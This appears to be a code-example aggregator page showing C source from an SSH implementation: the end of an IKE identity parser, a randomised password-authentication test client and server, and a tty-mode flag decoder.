            if (!ssh_ike_sa_import_id(buffer, &itemp, NULL))
              goto error;

            newp->identification.id_list_items[cnt] = *itemp;
            ssh_free(itemp);
            itemp = NULL;
          }
        break;
      }
#endif /* SSHDIST_IKE_ID_LIST */
    }
  if (ret == 0)
    goto error;
  if (id_txt)
    {
      ssh_free(*id_txt);
      ssh_ike_id_to_string(newp_txt, sizeof(newp_txt), newp);
      *id_txt = ssh_strdup(newp_txt);
      if (*id_txt == NULL)
        goto error;
    }
  if (id)
    {
      ssh_ike_id_free(*id);
      *id = newp;
    }
  else
    {
      ssh_ike_id_free(newp);
    }
  return TRUE;
 error:
  if (newp != NULL)
    ssh_ike_id_free(newp);
  return FALSE;
}
예제 #13
0
파일: t-userauth.c 프로젝트: AnthraX1/rk
void simple_password_client(SshAuthClientOperation op,
                            const char *user,
                            unsigned int packet_type,
                            SshBuffer *packet_in,
                            const unsigned char *session_id,
                            size_t session_id_len,
                            void **state_placeholder,
                            SshAuthClientCompletionProc completion_proc,
                            void *completion_context,
                            void *method_context)
{
  char *pass;
  SshBuffer *b;
  ClientPingPongData *pd;
  SshUInt32 value;

#ifdef DEBUG
  ssh_debug("simple_password_client: op %d", (int)op);
#endif  

  switch (op)
    {
    case SSH_AUTH_CLIENT_OP_START:

      simple_user_accept = random() % 2;
      simple_password_accept = random() % 2;
      
      if (simple_password_may_fail && pingpong_success &&
          random() % 5 == 0)
        {
#ifdef DEBUG
          ssh_debug("simple_password_client: cancelling");
#endif
          simple_password_failed = TRUE;
          (*completion_proc)(SSH_AUTH_CLIENT_CANCEL, user, NULL,
                             completion_context);
          return;
        }
      
      if (simple_user_accept)
        user = CORRECT_USER;
      else
        user = WRONG_USER;
      if (simple_password_accept)
        pass = CORRECT_PASS;
      else
        pass = WRONG_PASS;

      b = ssh_buffer_allocate();

      if (pingpong_count > 0)
        {
          /* Send pingpong reply */
          assert(*state_placeholder == NULL);
          pd = ssh_xmalloc(sizeof(*pd));
          *state_placeholder = pd;
          pd->count = 0;
#ifdef DEBUG
          ssh_debug("simple_password_client: sending pongpong %ld", pd->count);
#endif
          ssh_encode_buffer(b,
                            SSH_FORMAT_BOOLEAN, TRUE,
                            SSH_FORMAT_UINT32, pd->count,
                            SSH_FORMAT_END);
          if (pd->count < pingpong_count)
            (*completion_proc)(SSH_AUTH_CLIENT_SEND_AND_CONTINUE, user, b,
                               completion_context);
          else
            {
              ssh_xfree(*state_placeholder);
              *state_placeholder = NULL;
              (*completion_proc)(SSH_AUTH_CLIENT_SEND, user, b,
                                 completion_context);
            }
        }
      else
        {
          /* Send normal reply */
#ifdef DEBUG
          ssh_debug("simple_password_client: sending req");
#endif
          ssh_encode_buffer(b,
                            SSH_FORMAT_BOOLEAN, FALSE,
                            SSH_FORMAT_UINT32_STR, pass, strlen(pass),
                            SSH_FORMAT_END);
          (*completion_proc)(SSH_AUTH_CLIENT_SEND, user, b,
                             completion_context);
        }
      ssh_buffer_free(b);
      break;
      
    case SSH_AUTH_CLIENT_OP_START_NONINTERACTIVE:
#ifdef DEBUG
      ssh_debug("simple_password_client: noninteractive failing");
#endif
      (*completion_proc)(SSH_AUTH_CLIENT_FAIL, user, NULL, completion_context);
      break;
      
    case SSH_AUTH_CLIENT_OP_CONTINUE:
#ifdef DEBUG
      ssh_debug("simple_password_client: OP_CONTINUE");
#endif
      pd = *state_placeholder;
      if (pd == NULL || pd->count < 0 || pd->count >= pingpong_count)
        ssh_fatal("simple_password_client: strange pd");
      if (ssh_decode_buffer(packet_in,
                            SSH_FORMAT_UINT32, &value,
                            SSH_FORMAT_END) == 0)
        ssh_fatal("simple_password_client: bad packet_in");
      if ((value ^ 0x12345678) != pd->count)
        ssh_fatal("simple_password_client: bad value");
      pd->count++;
#ifdef DEBUG
      ssh_debug("simple_password_client: sending pongpong %ld", pd->count);
#endif
      b = ssh_buffer_allocate();
      ssh_encode_buffer(b,
                        SSH_FORMAT_BOOLEAN, TRUE,
                        SSH_FORMAT_UINT32, pd->count,
                        SSH_FORMAT_END);
      if (pd->count < pingpong_count)
        (*completion_proc)(SSH_AUTH_CLIENT_SEND_AND_CONTINUE, user, b,
                           completion_context);
      else
        {
          ssh_xfree(*state_placeholder);
          *state_placeholder = NULL;
          (*completion_proc)(SSH_AUTH_CLIENT_SEND, user, b,
                             completion_context);
        }
      ssh_buffer_free(b);
      break;
      
    case SSH_AUTH_CLIENT_OP_ABORT:
      if (*state_placeholder)
        {
          ssh_xfree(*state_placeholder);
          *state_placeholder = NULL;
        }
      break;
      
    default:
      ssh_fatal("simple_password_client: unknown op %d", (int)op);
    }
}
예제 #14
0
파일: t-userauth.c 프로젝트: AnthraX1/rk
SshAuthServerResult simple_password_server(SshAuthServerOperation op,
                                           const char *user,
                                           SshBuffer *packet,
                                           const unsigned char *session_id,
                                           size_t session_id_len,
                                           void **state_placeholder,
                                           void **longtime_placeholder,
                                           void *method_context)
{
  char *password;
  Boolean is_pingpong;
  SshUInt32 value;

#ifdef DEBUG
  ssh_debug("simple_password_server: op %d", (int)op);
#endif
  
  switch (op)
    {
    case SSH_AUTH_SERVER_OP_START:
      if (ssh_decode_buffer(packet,
                            SSH_FORMAT_BOOLEAN, &is_pingpong,
                            SSH_FORMAT_END) == 0)
        {
#ifdef DEBUG
          ssh_debug("simple_password_server: bad is_pingpong");
#endif
          return SSH_AUTH_SERVER_REJECTED;
        }
      if (!is_pingpong)
        {
          /* Normal password auth */
          if (pingpong_count != 0)
            ssh_fatal("simple_password_server: passwd when pingpong");
          if (ssh_decode_buffer(packet,
                                SSH_FORMAT_UINT32_STR, &password, NULL,
                                SSH_FORMAT_END) == 0)
            ssh_debug("simple_password_server: bad passwd request");
          
          if (strcmp(user, CORRECT_USER) == 0)
            {
              if (!simple_user_accept)
                ssh_fatal("simple_password_server: correct user, !accept");
            }
          else
            if (strcmp(user, WRONG_USER) == 0)
              {
                if (simple_user_accept)
                  ssh_fatal("simple_password_server: wrong user, accept");
              }
            else
              ssh_fatal("simple_password_server: bad user");
          
          if (strcmp(password, CORRECT_PASS) == 0)
            {
              if (!simple_password_accept)
                ssh_fatal("simple_password_server: correct pass, !accept");
            }
          else
            if (strcmp(password, WRONG_PASS) == 0)
              {
                if (simple_password_accept)
                  ssh_fatal("simple_password_server: wrong pass, accept");
              }
            else
              ssh_fatal("simple_password_server: bad pass");
          
          if (strcmp(user, CORRECT_USER) == 0 &&
              strcmp(password, CORRECT_PASS) == 0)
            {
              ssh_xfree(password);
#ifdef DEBUG
              ssh_debug("simple_password_server: accepted");
#endif
              return SSH_AUTH_SERVER_ACCEPTED;
            }
          
          ssh_xfree(password);
#ifdef DEBUG
          ssh_debug("simple_password_server: rejected");
#endif
          return SSH_AUTH_SERVER_REJECTED;
        }
      else
        {
          /* Pingpong request. */
          if (pingpong_count == 0)
            ssh_fatal("simple_password_server: pingpong when count 0");
          if (ssh_decode_buffer(packet,
                                SSH_FORMAT_UINT32, &value,
                                SSH_FORMAT_END) == 0)
            ssh_fatal("simple_password_server: bad pingpong");
          if (value == pingpong_count)
            {
#ifdef DEBUG
              ssh_debug("simple_password_server: pingpong count reached");
#endif
              return SSH_AUTH_SERVER_ACCEPTED;
            }
          *state_placeholder = (void *)value;
          value ^= 0x12345678;
          ssh_buffer_clear(packet);
          ssh_encode_buffer(packet,
                            SSH_FORMAT_CHAR, (unsigned int) PINGPONG_PACKET,
                            SSH_FORMAT_UINT32, value,
                            SSH_FORMAT_END);
          return SSH_AUTH_SERVER_CONTINUE_WITH_PACKET_BACK;
        }
      /*NOTREACHED*/
      abort();

    case SSH_AUTH_SERVER_OP_ABORT:
#ifdef DEBUG
      ssh_debug("simple_password_server: SERVER_OP_ABORT");
#endif
      *state_placeholder = NULL;
      return SSH_AUTH_SERVER_REJECTED;

    case SSH_AUTH_SERVER_OP_CONTINUE:
#ifdef DEBUG
      ssh_debug("simple_password_server: SERVER_OP_CONTINUE");
#endif
      if (ssh_decode_buffer(packet,
                            SSH_FORMAT_BOOLEAN, &is_pingpong,
                            SSH_FORMAT_UINT32, &value,
                            SSH_FORMAT_END) == 0)
        ssh_fatal("simple_password_server: bad pingpong continue");
      if (!is_pingpong)
        ssh_fatal("simple_password_server: !pingpong");
      if (((SshUInt32)*state_placeholder) + 1 != value)
        ssh_fatal("simple_password_server: pingpong did not +1");
      if (value == pingpong_count)
        {
#ifdef DEBUG
          ssh_debug("simple_password_server: pingpong count reached");
#endif
          *state_placeholder = NULL;
          pingpong_success = TRUE;
          return SSH_AUTH_SERVER_ACCEPTED;
        }
      *state_placeholder = (void *)value;
      value ^= 0x12345678;
      ssh_buffer_clear(packet);
      ssh_encode_buffer(packet,
                        SSH_FORMAT_CHAR, (unsigned int) PINGPONG_PACKET,
                        SSH_FORMAT_UINT32, value,
                        SSH_FORMAT_END);
      return SSH_AUTH_SERVER_CONTINUE_WITH_PACKET_BACK;

    case SSH_AUTH_SERVER_OP_UNDO_LONGTIME:
#ifdef DEBUG
      ssh_debug("simple_password_server: SERVER_OP_UNDO_LONGTIME");
#endif
      return SSH_AUTH_SERVER_REJECTED;

    case SSH_AUTH_SERVER_OP_CLEAR_LONGTIME:
#ifdef DEBUG
      ssh_debug("simple_password_server: SERVER_OP_CLEAR_LONGTIME");
#endif
      return SSH_AUTH_SERVER_REJECTED;

    default:
      ssh_fatal("simple_password_server: unknown op %d", (int)op);
    }
  /*NOTREACHED*/
  return SSH_AUTH_SERVER_REJECTED;
}
예제 #15
0
파일: sshttyflags.c 프로젝트: AnthraX1/rk
void ssh_decode_tty_flags(int fd, unsigned char *buf, size_t buf_len)
{
  SshBuffer buffer;
  
#ifdef USING_TERMIOS
  struct termios tio;
#endif /* USING_TERMIOS */
#ifdef USING_SGTTY
  struct sgttyb tio;
  struct tchars tiotc;
  struct ltchars tioltc;
  int tiolm;
#ifdef TIOCGSTAT
  struct tstatus tiots;
#endif /* TIOCGSTAT */
#endif
  int opcode, baud;

  if (!isatty(fd))
    {
      SSH_TRACE(2, ("Not a tty. (fd = %d)", fd));
      return;
    }

  if (buf_len == 0)
    return;
  
  SSH_DEBUG_HEXDUMP(5, ("received tty-flags buffer"), buf, buf_len);

  ssh_buffer_init(&buffer);

  ssh_buffer_append(&buffer, buf, buf_len);
  
  /* Get old attributes for the terminal.  We will modify these flags. 
     I am hoping that if there are any machine-specific modes, they will
     initially have reasonable values. */
#ifdef USING_TERMIOS
  if (tcgetattr(fd, &tio) < 0)
    return;
#endif /* USING_TERMIOS */
#ifdef USING_SGTTY
  if (ioctl(fd, TIOCGETP, &tio) < 0)
    return;
  if (ioctl(fd, TIOCGETC, &tiotc) < 0)
    return;
  if (ioctl(fd, TIOCLGET, &tiolm) < 0)
    return;
  if (ioctl(fd, TIOCGLTC, &tioltc) < 0)
    return;
#ifdef TIOCGSTAT
  if (ioctl(fd, TIOCGSTAT, &tiots) < 0)
    return;
#endif /* TIOCGSTAT */
#endif /* USING_SGTTY */

  for (;;)
    {
      ssh_decode_buffer(&buffer,
                    SSH_FORMAT_CHAR, &opcode,
                    SSH_FORMAT_END);
      
      switch(opcode)
        {
        case TTY_OP_END:
          goto set;

        case TTY_OP_ISPEED:
          baud = GET_UINT32();
          if (cfsetispeed(&tio, baud_to_speed(baud)) < 0)
            ssh_warning("cfsetispeed failed for %d", baud);
          break;

        case TTY_OP_OSPEED:
          baud = GET_UINT32();
          if (cfsetospeed(&tio, baud_to_speed(baud)) < 0)
            ssh_warning("cfsetospeed failed for %d", baud);
          break;

#ifdef USING_TERMIOS
#define TTYCHAR(NAME, OP)                               \
        case OP:                                        \
          tio.c_cc[NAME] = GET_UINT32();                \
          break;
#define TTYMODE(NAME, FIELD, OP)                        \
        case OP:                                        \
          if (GET_UINT32())                     \
            tio.FIELD |= NAME;                          \
          else                                          \
            tio.FIELD &= ~NAME;                         \
          break;
#define SGTTYCHAR(NAME, OP)
#define SGTTYMODE(NAME, FIELD, OP)
#define SGTTYMODEN(NAME, FIELD, OP)
#endif /* USING_TERMIOS */

#ifdef USING_SGTTY
#define TTYCHAR(NAME, OP)
#define TTYMODE(NAME, FIELD, OP)
#define SGTTYCHAR(NAME, OP)                             \
        case OP:                                        \
          NAME = GET_UINT32();                  \
          break;
#define SGTTYMODE(NAME, FIELD, OP)                      \
        case OP:                                        \
          if (GET_UINT32())                     \
            FIELD |= NAME;                              \
          else                                          \
            FIELD &= ~NAME;                             \
          break;
#define SGTTYMODEN(NAME, FIELD, OP)                     \
        case OP:                                        \
          if (GET_UINT32())                     \
            FIELD &= ~NAME;                             \
          else                                          \
            FIELD |= NAME;                              \
          break;
#endif /* USING_SGTTY */

#include "sshttyflagsi.h"

#undef TTYCHAR
#undef TTYMODE
#undef SGTTYCHAR
#undef SGTTYMODE
#undef SGTTYMODEN

        default:
          SSH_TRACE(1, ("Ignoring unsupported tty mode opcode %d (0x%x)",
                        opcode, opcode));
          /* Opcodes 0 to 160 are defined to have a uint32 argument. */
          if (opcode >= 0 && opcode < 160)
            {
              (void)GET_UINT32();
              break;
            }
          /* It is a truly undefined opcode (160 to 255).  We have no idea
             about its arguments.  So we must stop parsing.  Note that some
             data may be left in the packet; hopefully there is nothing more
             coming after the mode data. */
          ssh_warning("ssh_decode_tty_flags: unknown opcode %d", opcode);
          goto set;
        }
    }

 set:
  /* Set the new modes for the terminal. */
#ifdef USING_TERMIOS
  if (tcsetattr(fd, TCSANOW, &tio) < 0)
    ssh_warning("Setting tty modes failed: %.100s", strerror(errno));
#endif /* USING_TERMIOS */
#ifdef USING_SGTTY
  /* termio's ECHOE is really both LCRTBS and LCRTERA -
     so wire them together */
  if (tiolm & LCRTERA)
    tiolm |= LCRTBS;
  if (ioctl(fd, TIOCSETP, &tio) < 0
      || ioctl(fd, TIOCSETC, &tiotc) < 0
      || ioctl(fd, TIOCLSET, &tiolm) < 0
      || ioctl(fd, TIOCSLTC, &tioltc) < 0
#ifdef TIOCSSTAT
      || ioctl(fd, TIOCSSTAT, &tiots) < 0
#endif /* TIOCSSTAT */
     ) 
    ssh_warning("Setting tty modes failed: %.100s", strerror(errno));
#endif /* USING_SGTTY */
}